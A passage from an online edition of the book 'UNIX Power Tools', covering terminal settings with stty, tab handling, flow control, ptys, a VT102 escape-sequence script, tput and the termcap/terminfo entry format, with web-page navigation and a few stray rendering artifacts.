[6] Different systems use anything from five to nine bits in a serial-port "byte." Most people, however, do not need to care about all this. Most systems just use eight bits, either as seven data bits and a parity check, or as eight data bits without parity. Thus, most people can ignore these options, and stick with either "seven bits, even parity" or "eight bits, no parity."

Since then, the world has become simpler in one way - those old printing teletypes are gone nearly everywhere, for instance - but more complicated in another. These days, many computers use bitmapped displays rather than individual remote terminals. UNIX systems support networking, and use windowing systems such as the X Window System (1.31). These in turn bring a myriad of options, window managers, look-and-feel, and so on. But they all have one thing in common: to run old applications, each window or network login must provide a virtual terminal interface. UNIX systems generally do this with pseudo teletypes or ptys (41.8). Each pty exists to emulate a display terminal, which in turn is mainly pretending to be a teletype printer. (Sometimes one has to wonder where the progress lies.)

A POSIX standardization committee has settled on a standard interface, both at the UNIX kernel level and for the stty command. Most UNIX systems, including Berkeley UNIX, have moved to embrace this standard. While it leaves a few loose ends - mainly for reasons involving backwards compatibility for System V-it allows systems both the flexibility of the System V interface and the features of the Berkeley approach. This means that while windows and networks may be emulating ancient teletypes, at least they are all doing it in the same way.

41.2.2 Handling Most Characters

With all that as background, let's take a look at what happens to an input character, from the time you type it until an application can react. The details may vary - often wildly - depending on your system and whether you are using a window, a terminal, a network, or some combination of all three, but the overall idea is the same. For simplicity, we will assume you have an ordinary terminal. We will call this "the terminal" and the kernel's idea of it "the tty."

Suppose you type the letter x. The terminal sends the ASCII code (51.3) for a lowercase X (120) to the UNIX kernel's tty. The kernel then looks at the tty state. Assume for the sake of discussion that the tty is in cooked or icanon mode, and that none of the special characters has been set to x. Then the letter x is placed in an input buffer and echoed back to the terminal, causing an x to be displayed on your screen. But if you really wanted to type a c, you would now type your erase character (5.9) (usually CTRL-h, BACKSPACE, or DELETE, which may or may not all be the same or all different, depending on your particular terminal or keyboard). The code for this character will also be sent to the tty; this time it will match your erase character. The kernel will then remove the last character from the input buffer. Since this - a lowercase X - is an ordinary printing character, the kernel will send a single backspace, or the sequence "backspace space backspace," to the terminal. This will generally back the cursor up over the character and then erase it from the screen. (On a POSIX system, you get the latter by setting echoe mode.) Finally, when you type RETURN or ENTER, your terminal sends an ASCII code 13. Since icrnl is set, the kernel changes this to 10 (newline), which it then echoes to the terminal. Since onlcr is set, this sends both a code 13 (carriage return) and a 10 (linefeed) to the terminal. The kernel sees that 10 is a newline, wraps up the collected buffer, and passes it on to whatever application is currently reading from the tty.

If you turn off icanon (or turn on cbreak), the kernel takes any partially collected buffer and passes those characters to the application, then passes on each ordinary input character as it comes in. The kernel still echoes input back to the terminal. If you turn off the echo flag in the tty, the kernel will stop doing echoing. This is how a full-screen editor like vi works: it turns off icanon, turns off echo, and turns off some, but not all, of the special characters. The vi program can then do its own echoing, so that when you type i to go into insert mode, no i appears on your terminal.

One of several difficult areas involves turning icanon back on. In particular, there may be some characters you typed at the terminal while icanon was off. These reached the tty, which packaged them up and sent them off to an application. The application may not have read them yet, but as far as the tty is concerned, they are gone. Thus, you may not be able to recover them for your current input line. Older Berkeley UNIX systems are able to handle this case, but System V systems that use the STREAMS interface are not. As long as your system is fast enough, though, you will never notice, because applications will always turn icanon on before you can type anything at the terminal.

41.2.3 What About TABs?

Tabs are another difficult issue. The history here predates computing; typewriter tabs are sometimes used as the "right" model. Nonetheless, different terminals behave differently, and different people make different assumptions about how tabs should work. The ASCII code for TAB, code 9, is intended to move the cursor right to the next tabstop. But where is that? Moreover, once the cursor has gone there, how does the kernel move it back if you decided to erase the tab?

Many UNIX kernels can be told to expand tabs. When they do this, they set the tabstops at every eight characters. This is where they think tabstops belong. That is, if you print a newline, two ordinary letters, and a tab, the tab will turn into six spaces. If a tty is in icanon/cooked mode, and is expanding tabs, it can "unexpand" them to backspace over the tab. Berkeley kernels will do this, and it works fairly well. They can get it wrong, however, under certain conditions. For instance, if you set the tty to pass tabs unmodified, and if the terminal itself puts tabstops at every ten characters - this would be the proper setting for dealing with a DEC-10, for instance - the kernel tty code will put out fewer backspaces than needed.

Even if the terminal sets its tabstops at eight, the kernel's tty code and the terminal can get different ideas of the current cursor column. Most Berkeley kernels count control codes as "ordinary" output characters, for instance, even though those characters are likely to have no effect on the cursor, or might even move it to an arbitrary position. To help prevent input control characters from goofing up backspacing, Berkeley kernels can echo them as two-character sequences. For instance, CTRL-g will normally echo as ^G. Erasing such a control character works properly: the tty code puts out two backspaces, two spaces, and two more backspaces. Erasing more characters, possibly including a TAB, then still works. This "control echo" can be switched on and off individually as well.

In addition to carriage return delays, which exist to allow time for the teletype's print carriage to move left, some UNIX systems also support tab delays, for more or less the same reason. Like return-delays, these are pretty much outmoded and useless. The POSIX standard leaves room for both kinds of delay, but does not mandate either one. You may see them in stty output, as cr2, cr3, tab1, and the like, but your system's default is probably "no delay," and few people are likely to change this deliberately.

Article 41.4 has some higher-level information about TABs.

41.2.4 Flow Control (We Hope)

Finally, flow control - avoiding lost input and output characters - is perhaps the dirtiest swamp of all. Most of the terminals built in the 1980s support, and at higher speeds require, something called \h'-1p'XON/XOFF flow control. Here, when the terminal falls behind in printing characters, it shouts "stop!" by sending an XOFF character - ASCII code 19, or CTRL-s - to the UNIX system. If the UNIX machine does not stop soon enough, some text will be lost. When the terminal is ready for more, it sends a "go" character - an XON, ASCII code 17, or CTRL-q. These were never intended as a general flow control mechanism - on some of the original teletypes, they turned the paper tape punch off and on - but they have that meaning now. Unfortunately, most terminals also allow users to type CTRL-s and CTRL-q, but they provide no way to distinguish between the terminal yelling "stop" and the user pushing CTRL-s. The result is a constant battle between people who want to use CTRL-s and computer systems that want to take it for themselves.

Other systems, notably HP-based systems, use something called ENQ/ACK flow control. Here the terminal and the host system must agree up-front on a minimum buffer size. Then either system is allowed to send that many characters to the other, after which it must stop and wait for a "go-ahead" signal. Each system requests such a signal by sending an "enquire": ASCII code 5, or CTRL-e. When the listening system encounters the ENQ, and is ready for more, it sends an acknowledgement: ASCII code 6, or CTRL-f. This system is superior to the XON/XOFF system in one way, as it never has problems with a busy system failing to stop immediately on command, but it still does not prevent users from typing CTRL-e and CTRL-f. Moreover, it is not implemented on most UNIX systems.

A third method of flow control, and the most reliable where it is available, is the so-called out of band approach. "Out of band" simply means that users cannot accidentally simulate it by typing control characters. Out of band control can be done in software, using something similar to HP's ENQ/ACK and some encoding tricks, but in practice, most UNIX machines that support any kind of out of band flow control use something called either "hardware flow control" or "RTS/CTS flow control." (This can be implemented with no special hardware at all on many systems, so the latter name is better.)

With RTS/CTS flow control, two existing serial-cable wires, RTS and CTS, are "taken over." (RTS and CTS-which stand for Request to Send and Clear to Send respectively - were originally intended for use with half duplex modems. Since half duplex modems are today merely museum pieces, this is a sensible approach, but it does violate the RS232 standard.) RTS at the terminal is cross-connected to CTS at the host computer, and vice versa. The terminal and the computer both assert RTS whenever they are ready to receive data, and wait for CTS before sending. Unfortunately, not enough systems implement this, and of those that do, many get it wrong. [7] Thus, while RTS/CTS flow control offers the possibility of working perfectly, you cannot count on it. Still, it is worth looking for an rts/cts option in your UNIX's stty.

[7] For instance, on Sun workstations, RTS/CTS is supported in hardware, but the particular Zilog chip that does this also uses the DCD (Data Carrier Detect) line to control the receiver. Thus, if you set stty crtscts, you cannot tell a modem to dial out, because DCD is off. It is possible to work around this, but only with control over both the hardware and the UNIX kernel.

41.2.5 Then What?

If you think this is complicated, just hope you never have to deal with synchronous transmission, RS422, DIN connectors, lightning strike protection, and many of the other hardware and electrical aspects that surround computer communications. Getting two arbitrary computers to talk to each other can be excessively difficult. Here again, standards come to the rescue. If everything you have is proper RS232- modulo (52.9), perhaps, RTS/CTS flow control - and POSIX, things should usually go smoothly.

- CT

Previous: 41.1 Delving a Little Deeper | UNIX Power Tools | Next: 41.3 Find Out Terminal Settings with stty
41.1 Delving a Little Deeper | Book Index | 41.3 Find Out Terminal Settings with stty
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 41] 41.3 Find Out Terminal Settings with stty

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 41.2 stty and All That Stuff Chapter 41
Terminal and Serial Line Settings 		Next: 41.4 How UNIX Handles TAB Characters

41.3 Find Out Terminal Settings with stty

stty
It may hardly seem appropriate to follow Chris Torek's learned article about how stty works (41.2) with some basics, but this book is designed for beginners as well as those who already know everything. :-) (51.12) [Good idea, Tim. This is also a handy place to put the disc icon for the GNU version. ;^) -JP] So:

To find out what settings your terminal line currently has, type:

% stty

For a more complete listing, type:

% stty -a

on System V-ish systems, and:

% stty -everything

on BSD systems.

As Jerry Peek said in an editorial aside to Chris's article, be sure to have your stty manual page handy!

- TOR

Previous: 41.2 stty and All That Stuff | UNIX Power Tools | Next: 41.4 How UNIX Handles TAB Characters
41.2 stty and All That Stuff | Book Index | 41.4 How UNIX Handles TAB Characters
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 41] 41.4 How UNIX Handles TAB Characters

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 41.3 Find Out Terminal Settings with stty Chapter 41
Terminal and Serial Line Settings 		Next: 41.5 Why Some Systems Backspace over Prompts

41.4 How UNIX Handles TAB Characters

TAB characters are used in a lot of places: tables, indented paragraphs, source code for programs, the output of many programs, and so on. UNIX handles TABs in a flexible way that's different from some other computer systems.

Most UNIX programs, printers, and terminals are set up to assume tabstops every 8 columns. That is, if the terminal or printer gets a TAB character on its input, it moves to the next tabstop position: column 9, 17, 25, etc. The UNIX system (kernel, device driver (42.1)) usually doesn't interpret TAB characters or set tabstops; it treats the TABs like any other character, passing them on to utilities or hardware like terminals.

You might want to use tabstop intervals other than 8. When I write programs, for example, an 8-character indent wastes space, so I use a 4-character indent. If you want to use different tabstops, too, you need to understand how TABs are handled.

41.4.1 TAB Is Just Another Character to UNIX

Typing TAB sends a single TAB character to the UNIX system. If you're editing a file, the editor probably puts that single TAB character into the file. Later, when you use cat (25.2), pr (43.7), lp (43.2), and so on, they read each TAB and send out that single character to your terminal, printer, or whatever. The TAB is usually interpreted by the hardware device itself. Before that, it's a single character like any other. (But see the stty -tabs command below.)

If your terminal has a setup mode, enter setup mode and look at the tabstop settings. They're probably set at columns 9, 17, 25, and so on. When your terminal receives a TAB from the UNIX system, the terminal moves the cursor to the terminal's next tabstop.

For example, your terminal might have different tabstops - maybe 11, 21, 31, and so on. Let's say that you're catting a file. The programmer who made the file had her terminal tabstops set at the default 8-column intervals. When she typed it, she used TABs (shown as > in this example) to indent the lines. Her terminal showed the file this way:

% cat prog
while read line; do
  >        set $line
  >        for word in line; do
  >          >        case "$1" in
...

If your terminal has tabstops set at 12 characters, the same file would look like this:

% cat prog
while read line; do
  >            set $line
  >            for word in line; do
  >              >            case "$1" in
...

Neither the UNIX kernel nor the cat program did anything different to the prog file. The terminal interprets the TABs.

If you want to display or edit a file that has different tabstops than your terminal, what can you do?

  • expand
            Use a UNIX utility that "expands" (converts) TABs into spaces. On BSD systems, expand does the job. The terminal never sees the TABs in this case, so its tabstop settings are never used:

    % expand prog
while read line; do
        set $line
        for word in line; do
                case "$1" in
...

    On System V, use pr with its -t -e options:

    % pr -t -e prog
while read line; do
        set $line
        for word in line; do
                case "$1" in
...

    So, no matter what your terminal tabstops are, the file will look normal.

    If you want to use other tabstops, use an option. For instance, get 4-character tabstops with expand -4 or pr -t -e4.

  • Tell your text editor to use different tabstops. The editor will probably "expand" the TABs into spaces before it sends them to your terminal. For instance, in vi, type:

    :set tabstop=4

    to edit programs with 4-character tabstops. The prog file from above would look like:

    % vi prog
while read line; do
  >    set $line
  >    for word in line; do
  >      >    case "$1" in
...

    although it has TAB characters in exactly the same places. If you have a text editor handy, try changing its tabstops while you display a file.

If you make a file with non-standard tabstops, it's a good idea to put a comment in the file so people will know. Or, before you save the file for the last time, expand the TABs into spaces. With vi on a system that has expand, for example, this command would convert TABs to spaces at 4-column tabstops:

:%!
:%!expand -4

The opposite of expand is, naturally enough, unexpand (24.6). It converts spaces back to TABs at 8-column tabstops.

41.4.2 Telling UNIX to Expand TABs

I said above that the UNIX kernel and device drivers don't usually expand TABs into spaces. Sometimes, if you're having a lot of trouble with funny-looking tabstop settings, you might ask the device driver to expand the TABs into spaces. The command is:

% stty -tabs

Now in most cases, UNIX will not send TABs to your terminal. It's better to fix your terminal's tabstops, if you can.

- JP

Previous: 41.3 Find Out Terminal Settings with stty | UNIX Power Tools | Next: 41.5 Why Some Systems Backspace over Prompts
41.3 Find Out Terminal Settings with stty | Book Index | 41.5 Why Some Systems Backspace over Prompts
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 41] 41.5 Why Some Systems Backspace over Prompts

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 41.4 How UNIX Handles TAB Characters Chapter 41
Terminal and Serial Line Settings 		Next: 41.6 Using sleep to Keep Port Settings

41.5 Why Some Systems Backspace over Prompts

[One curiosity that some people notice is that on BSD systems, you can't backspace over shell prompts, but on System V, you can go right back to the edge of your screen or window, erasing the prompt. Brandon Allberry explains that here. -TOR ]

You can make the BSD system behave like the System V one with stty old. But I don't think that's what you want....

The System V terminal driver (42.1) makes no assumptions about the sanity or configuration of the terminal, and therefore doesn't try to get fancy with echoing. It can be annoying at times to see the system acting so stupidly, but it won't suddenly act up on you.

The BSD tty driver makes the assumption that the terminal is behaving sanely, and that nothing is playing games with escape sequences, etc., so it can get away with assuming how to stop at the prompt. To this end, it echoes control characters in "uparrow format" [like ^A for CTRL-a-JP ] and assumes you have the stty tabs setting correct for the terminal (stty tabs only if the terminal has 8-character hardware tabs set, otherwise stty -tabs). But it also requires various other trickery (such as stty tilde to compensate for old Hazeltine terminals that use ~ instead of the ASCII ESC character) to stay in sync with strange terminals.

The BSD method mostly works, but has some drawbacks: for example, on a DEC-compatible terminal I sometimes have to echo a control character (41.9) to get the terminal to display ASCII instead of graphics characters. Under System V, this is convenient: it can be done by typing the control character at the shell command line, then backspace, then RETURN to redisplay the prompt as something other than Greek. Under BSD I have to resort to cat (25.2). Also, while BSD will echo "typed" control characters in uparrow format, it won't help you if a backgrounded program splatters control characters at the terminal. (Well, you can stty tostop (12.7), but sometimes you "want" that behavior from some particular backgrounded program: a status message, for example.)

Programs like ksh and tcsh also do "smart" echoing. They have the same problems, plus an additional one: the BSD tty driver can tell when another program scribbles on the terminal while doing a line-buffered read and automatically redisplays the input line after the next keystroke. A user program has no way to find out about such scribbling, however, so you can get into a decidedly non-WYSIWYG situation despite every attempt by the program to make things look right. At least System V is honest in not promising anything.

Such are the problems with non-regulated access by a multi-tasking system to a non-multiplexed device like a terminal, and such are the possible solutions. You choose the one that works best in your particular situation.

- BA in comp.unix.misc on Usenet, 12 October 1991

Previous: 41.4 How UNIX Handles TAB Characters | UNIX Power Tools | Next: 41.6 Using sleep to Keep Port Settings
41.4 How UNIX Handles TAB Characters | Book Index | 41.6 Using sleep to Keep Port Settings
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 41] 41.6 Using sleep to Keep Port Settings

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 41.5 Why Some Systems Backspace over Prompts Chapter 41
Terminal and Serial Line Settings 		Next: 41.7 Reading Verrrry Long Lines from the Terminal

41.6 Using sleep to Keep Port Settings

It's sometimes desirable to use stty (41.3) to set values for a serial port other than the one your tty may be on (for example, a printer or modem port). But without a program "hanging on to" a port, the settings are pretty much useless in many UNIXes. A tty that is not attached to a process typically gets reset to some default whenever you open it. The only way to set it some way and make it stay that way is to open it and hold on to it, then set the modes.

The standard trick is to use:

% sleep 1000000 > /dev/ttyXX &

before setting things up. You can kill (38.10) the sleep (40.2) later, when you are done.

- CT in net.unix on Usenet, 30 January 1984

Previous: 41.5 Why Some Systems Backspace over Prompts | UNIX Power Tools | Next: 41.7 Reading Verrrry Long Lines from the Terminal
41.5 Why Some Systems Backspace over Prompts | Book Index | 41.7 Reading Verrrry Long Lines from the Terminal
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 41] 41.7 Reading Verrrry Long Lines from the Terminal

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 41.6 Using sleep to Keep Port Settings Chapter 41
Terminal and Serial Line Settings 		Next: 41.8 ptys and Window Systems

41.7 Reading Verrrry Long Lines from the Terminal

Sometimes you can have a very long line of input that you want to write to a file. It might come from your personal computer, a device hooked to your terminal, or just an especially long set of characters that you have to type on the keyboard. Normally the UNIX terminal driver (42.1) holds all characters you type until it sees a line terminator or interrupt character. Most buffers have room for 256 characters.

If you're typing the characters at the keyboard, there's an easy fix: Hit CTRL-d every 200 characters or so to flush the input buffer. You won't be able to backspace before that point, but the shell will read everything in.

Or, to make UNIX pass each character it reads without buffering, use stty (41.3) to set your terminal to cbreak (or non-canonical) input mode. For example:

% stty cbreak
% cat > file
enter the very long line.........
[CTRL-c]
% stty -cbreak

On System V, start with stty -icanon and end with stty icanon.

While you're in cbreak mode, special keys like BACKSPACE or DELETE won't be processed; they'll be stored in the file. Typing CTRL-d will not make cat quit. To quit, kill cat by pressing your normal interrupt key - say, CTRL-c.

(If you accidentally type a backspace or press RETURN when you didn't want to, you can see those characters in the file with the octal dump command, od (25.7), and its -c option. Filter them out with tr -d (35.11) or a text editor (the GNU Emacs (32.1) editor can handle very long lines).)

One more problem: if you use a shell with built-in command line editing (11.13) and/or filename completion (9.8), they might cause you trouble because they use stty-like commands to let you edit. In that case, start a plain Bourne shell (type sh or /bin/sh) before you give the stty command.

- JP

Previous: 41.6 Using sleep to Keep Port Settings | UNIX Power Tools | Next: 41.8 ptys and Window Systems
41.6 Using sleep to Keep Port Settings | Book Index | 41.8 ptys and Window Systems
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 41] 41.8 ptys and Window Systems

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 41.7 Reading Verrrry Long Lines from the Terminal Chapter 41
Terminal and Serial Line Settings 		Next: 41.9 Commands to Adjust Your Terminal

41.8 ptys and Window Systems

When window systems came along, UNIX needed a workaround, so that all the software that was written for ASCII terminals could continue to run in windows.

From the window system side, what it took was a terminal emulator - a program that makes a window act like a terminal. Most emulators imitate a DEC VT100 or VT102 terminal; they respond to its escape sequences, and in general masquerade pretty well.

But there's another side to the equation. The system needs to know what "terminal" a program is running on, so it can read input and send output to the right place. There's normally an association between a tty file and a physical device attached to a serial line. But what's the association for an abstraction on a workstation screen, on a device that's nothing like a serial line?

The answer was to come up with a "terminal-like" construct on the system side. It's called a pty, for pseudo-terminal, instead of a tty.

- TOR

Previous: 41.7 Reading Verrrry Long Lines from the Terminal | UNIX Power Tools | Next: 41.9 Commands to Adjust Your Terminal
41.7 Reading Verrrry Long Lines from the Terminal | Book Index | 41.9 Commands to Adjust Your Terminal
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 41] 41.9 Commands to Adjust Your Terminal

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 41.8 ptys and Window Systems Chapter 41
Terminal and Serial Line Settings 		Next: 41.10 Using terminfo Capabilities in Shell Programs

41.9 Commands to Adjust Your Terminal

Most terminals and window systems read every character that the host computer sends to them. They're watching for an escape sequence, a series of characters that give commands to the terminal or window. (From now on, I'll just say "terminal." But this article applies to windows, too.) When the terminal sees an escape sequence, it performs the command instead of showing you the characters.

You can send these escape sequences yourself, from your UNIX account. For instance, maybe some program has accidentally left your terminal set to reverse video. If you're using an ANSI terminal (like a VT100) you could type an echo command (8.6) to send the sequence ^[[0m (where ^[ is an ESCape character) to turn off reverse video. However, it's usually easier to make aliases, a shell function or script that does the same thing.

These escape sequences should be documented in your terminal's manual. In this article, I'll use sequences for a VT102 or compatible terminal. If you're trying to make your setup more general so that it works on lots of terminals, you should use a command like tput or tcap (41.10) that reads your terminal's terminfo or termcap information.

For example, you might decide that it's easier to read a complicated display when it's in reverse video. To put it in reverse video and go back to normal video later:

% Revvid
%   ...type commands; all text shows in reverse video...
% Normal
%   ...now everything is in normal video...

Most full-screen programs (vi, etc.) re-initialize your terminal. That can undo some of what these commands do.

To write the script, make a file named for one of the aliases, like Clear. The first line of the script stores an ESC character in a shell variable (6.8) named e. It's used in all the other aliases as ${e}:

echo..3'

$*

#! /bin/sh
# SENDS VT102 AND COMPATIBLE TERMINAL CONTROL ESCAPE SEQUENCES

e="`echo e | tr e '\033'`"  # Make an ESCape character portably

case "$0" in
*Clear) seq="${e}[;H${e}[2J"  ;;# move to top left, clear screen

# ALTERNATE CHARACTER SETS.  YOU USUALLY WANT "NOG" TO CLEAR THESE
# WHEN YOUR TERMINAL GETS IN THIS MODE ACCIDENTALLY:

*NOG) seq="${e}(B" ;;       # cancel graphics
*Graphics) seq="${e}(0" ;;  # lower-case letters become graphics

# NOTE: THESE WON'T WORK FOR FULL-SCREEN APPLICATIONS LIKE vi.
# BETTER TO RESET YOUR TERMINAL PARAMETERS (tset, stty):

*C132) seq="${e}[?3;h" ;;   # 132-column mode
*C80) seq="${e}[?3;l" ;;    # 80-column mode

*Revvid) seq="${e}[?5;h" ;; # Reverse video
*Normal) seq="${e}[?5;l" ;; # Normal video

# WRITE MESSAGE TO TERMINAL STATUS LINE (NICE FOR REMINDERS)
#       EXAMPLE: ToStatus Clean out your files!
# AND CLEAR IT.

*ToStatus) seq="${e}7${e}[25;1f${e}[0K$*${e}8" ;;
*ClrStatus) seq="${e}7${e}[25;1f${e}[0K${e}8" ;;
*) echo "$0: HELP - can't run myself." 1>&2; exit 1;;
esac

# SEND $seq TO TERMINAL WITHOUT INTERPRETATION BY SYSTEM V echo:
cat << END_OF_seq
$seq
END_OF_seq
exit 0

You can install this script from the CD-ROM or from the online archive (52.7). If you don't get the file from the disc, be careful to type those escape sequences exactly. The Graphics command uses the digit 0, not the letter O. The ToStatus and ClrStatus commands use the digit 1 (one), not the letter l (L). If you get the script from the archive, ask tar to install Clear and its eight other links:

% tar xvf archive.tar Clear NOG Graphics C132 \
C80 Revvid Normal ToStatus ClrStatus
x Clear, 1371 bytes, 3 tape blocks
NOG linked to Clear
Graphics linked to Clear
   ...

The script tests the name it was called with (44.22), in $0, to decide which string to output (the asterisk (*) matches any pathname before the command name). This trick saves disk space. You can add other commands, too, by adding a line to the case and another link.

- JP based on a suggestion and aliases by Bruce Barnett

Previous: 41.8 ptys and Window Systems | UNIX Power Tools | Next: 41.10 Using terminfo Capabilities in Shell Programs
41.8 ptys and Window Systems | Book Index | 41.10 Using terminfo Capabilities in Shell Programs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 41] 41.10 Using terminfo Capabilities in Shell Programs

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 41.9 Commands to Adjust Your Terminal Chapter 41
Terminal and Serial Line Settings 		Next: 41.11 How termcap and terminfo Describe Terminals

41.10 Using terminfo Capabilities in Shell Programs

The weakness of the technique described in article 41.9 is that it requires you to hardcode the escape sequences for a particular terminal. If you use more than one kind of terminal, you have to create separate aliases for each one. That's exactly the kind of problem that the termcap and terminfo databases were designed to solve.

tcap
For each terminal in the database, there is a list of terminal capabilities (41.11). The tput program (standard on any system with terminfo) lets you print out the value of any individual capability. The tcap program does the same for systems using termcap. (tcap was originally named tc. We renamed it to avoid conflicts with tc, the ditroff interpreter program for Tektronix 4015 terminals.) This makes it possible to use terminal capabilities such as those for standout mode in shell programs.

For example, a prompt issued by a shell program could be highlighted by the following code using tput:

echo...\c
# Store the terminfo capability to start standout mode into
# the variable HIGHLIGHT; this might be bold, or inverse video
HIGHLIGHT=`tput smso`
# Store the terminfo capability to end standout mode into
# the variable NORMAL
NORMAL=`tput rmso`
# Echo a highlighted prompt
echo "${HIGHLIGHT}Press Return to accept value: ${NORMAL}\c"

Capabilities that accept arguments (such as cursor movement sequences) will interpolate values that follow the capability name on the command line. For example, to issue the cursor motion sequence to move to the upper-left corner of the screen (row 0, column 0), you could type:

$ tput cup 0 0

Another case where tput comes in useful is when command sequences accidentally get sent to the screen, leaving output garbled or in a distracting highlight mode. It sometimes happens that a user reads a non-ASCII file, or reads a mail message with a control character accidentally imbedded, and ends up with gibberish. This is often because the sequence for entering an alternate character set has been sent to the terminal, and the screen is no longer readable to the human eye. The user can return to the normal character set two ways: by rebooting the terminal, or by entering tput init (5.12) on the command line. Using tput, obviously, is much more efficient.

- JS, TOR

Previous: 41.9 Commands to Adjust Your Terminal | UNIX Power Tools | Next: 41.11 How termcap and terminfo Describe Terminals
41.9 Commands to Adjust Your Terminal | Book Index | 41.11 How termcap and terminfo Describe Terminals
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 41] 41.11 How termcap and terminfo Describe Terminals

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 41.10 Using terminfo Capabilities in Shell Programs Chapter 41
Terminal and Serial Line Settings 		Next: 41.12 Finding Out What Characters Your Terminal's Special Keys Send

41.11 How termcap and terminfo Describe Terminals

The termcap and terminfo databases (5.2) describe the capabilities of terminals using a rather obscure and compact language. At this point, the ASCII terminal market has slowed down and standardized, so it is not as essential as it used to be to write new terminal entries. However, there are still times when it's useful to know how to read an entry. For example, you may want to use particular capabilities in a shell program (41.10) or in a function key map (41.12).

We won't give you a detailed list of all of the possible capabilities - that you can get from the termcap or terminfo manual page on your system. However, we do want to give you an introduction to the language of termcap and terminfo.

Here's a simplified entry for the Wyse Technology Wyse-50 terminal. The capabilities described here are only a subset sufficient to introduce the basic syntax of the language:

# incomplete termcap entry for the Wyse WY-50
 n9|wy50|WY50| Wyse Technology WY-50:\
    :bs:am:co#80:li#24:\
    :up=^K:cl=^Z:ho=^^:nd=^L:cm=\E=%+ %+ :

And here is the corresponding terminfo source file:

# incomplete terminfo entry for Wyse WY-50
wy50|WY50|Wyse Technology WY-50,
    am, cols#80, lines#24, cuu1=^K, clear=^Z,
    home=^^, cuf1=^L, cup=\E=%p1%'\s'%+%c%p2%'\s'%+%c,

The backslash (\) character is used to suppress the newline in termcap. termcap entries must be defined on a single logical line, with colons (:) separating each field. terminfo does not require the entry to be on a single line, so backslashes are not necessary. In terminfo, commas are used as the field separator.

The language certainly is not verbose! However, if we work through it methodically, it might begin to make sense.

There are three types of lines in a termcap or terminfo file: comment lines, lines that list alias names for the terminal, and lines that specify terminal capabilities.

  • Comment lines: The first line in both the termcap and terminfo entries shown above is a comment line.

    # incomplete termcap entry for the Wyse WY-50
# incomplete terminfo entry for the Wyse WY-50

    All comment lines begin with a hash mark (#). Embedded comments are not allowed: a line is either a comment or part of an entry. In termcap and terminfo, the convention is that comments precede the terminal they describe.

  • Name lines: The second line is a list of alias names for the terminal, separated by the vertical bar character.

    n9|wy50|WY50| Wyse Technology WY-50:\   ...termcap

wy50|WY50|Wyse Technology WY-50,   ...terminfo

    Multiple aliases are provided as a convenience to the user. The environment variable TERM (5.10) can be set to any one of the aliases. By convention, the last alias is the full name of the terminal.

    The alias list is the first field of the terminal description, with a colon (termcap) or comma (terminfo) marking the end of the alias list and the start of the capabilities list. You could begin listing the capabilities immediately after this field, but it makes reading much easier if all the aliases are on one line and the capabilities start on the next.

    When a terminfo source file is compiled with tic, the compiled data is placed in a file corresponding to the first alias (in this case, /usr/lib/terminfo/w/wy50), and a link is created for all other aliases but the last. In this example, TERM could be set to either wy50 or WY50 to access the compiled terminal description.

  • Capability lines: The remaining lines are the list of the actual terminal capabilities. These lines are indented (using a tab or blank spaces) to distinguish them from the line of terminal aliases. Note that the indentation of continued capability lines is not just cosmetic but is a required part of the syntax.

    In termcap, capabilities are identified by a two-character name; in terminfo, the capability names may have anywhere between two and five characters. The capability name is the first thing in each capability field and describes a feature of the terminal.

There are three types of capability:

  • Boolean capabilities consist of a capability name with no arguments. For example, am (both termcap and terminfo) specifies that the terminal performs automatic right margins, wrapping the cursor to the start of the next line when the cursor reaches the last position on the current line. If am is not specified, programs will assume that your terminal does not have this feature.

    am is an example of a Boolean feature that is advantageous, but Booleans are also used to specify negative features of your terminal - for example, if your terminal does not perform newlines in the expected way, you might have what is called the "newline glitch," and the entry may need to specify xn (termcap) or xenl (terminfo) to tell programs to adjust for the terminal's peculiarity.

  • Numeric capabilities consist of a capability name, a sharp sign, and a number. For example, co#80 (termcap) and cols#80 (terminfo) says that the terminal has 80 columns. All numeric values are non-negative.

  • String capabilities tell how to issue a command to the terminal. The format of a string capability is the capability name, followed by an equal sign, followed by the command sequence. For example, up=^K (termcap) or cuu1=^K (terminfo) specifies that the sequence CTRL-k will move the cursor up one line.

Now the Wyse-50 example should make more sense. First termcap:

Figure 41.1: A Simplified termcap Entry

Now terminfo:

Figure 41.2: A Simplified terminfo Entry

The examples demonstrate all three kinds of capabilities: Boolean, numeric, and string.

The first two capabilities in the termcap entry, and the first capability in the terminfo entry, are Boolean.

bs

